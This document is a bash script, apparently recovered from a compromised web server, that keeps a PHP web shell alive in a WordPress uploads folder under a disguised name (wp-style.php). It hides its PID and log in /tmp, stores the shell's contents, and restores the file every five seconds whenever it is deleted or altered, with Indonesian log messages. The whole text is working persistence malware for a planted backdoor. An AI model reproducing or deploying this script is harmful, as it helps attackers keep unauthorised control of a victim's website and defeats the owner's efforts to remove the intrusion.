File: //proc/thread-self/root/proc/self/root/proc/self/root/proc/thread-self/root/proc/19805/fd/255
#!/bin/bash
SHELL_PATH="/var/www/thaler/wp-content/uploads/wp-style.php"
PID_FILE="/tmp/.antidelete_fbb45658d4745e740e5d328d9b55948f.pid"
LOG_FILE="/tmp/.antidelete_fbb45658d4745e740e5d328d9b55948f.log"
echo $$ > "$PID_FILE"
TIMESTAMP=$(TZ="Asia/Jakarta" date +"%Y-%m-%d %H:%M:%S")
echo "$TIMESTAMP: Anti-delete dimulai untuk $SHELL_PATH" >> "$LOG_FILE"
ORIGINAL_CONTENT=$(cat "$SHELL_PATH" 2>/dev/null)
while true; do
TIMESTAMP=$(TZ="Asia/Jakarta" date +"%Y-%m-%d %H:%M:%S")
if [ ! -f "$SHELL_PATH" ]; then
echo "$TIMESTAMP: File dihapus, memulihkan..." >> "$LOG_FILE"
echo "$ORIGINAL_CONTENT" > "$SHELL_PATH"
chmod 0644 "$SHELL_PATH" 2>/dev/null
echo "$TIMESTAMP: File berhasil dipulihkan" >> "$LOG_FILE"
else
CURRENT_CONTENT=$(cat "$SHELL_PATH" 2>/dev/null)
if [ "$CURRENT_CONTENT" != "$ORIGINAL_CONTENT" ]; then
echo "$TIMESTAMP: File dimodifikasi, memulihkan..." >> "$LOG_FILE"
echo "$ORIGINAL_CONTENT" > "$SHELL_PATH"
echo "$TIMESTAMP: File berhasil dipulihkan" >> "$LOG_FILE"
fi
fi
sleep 5
done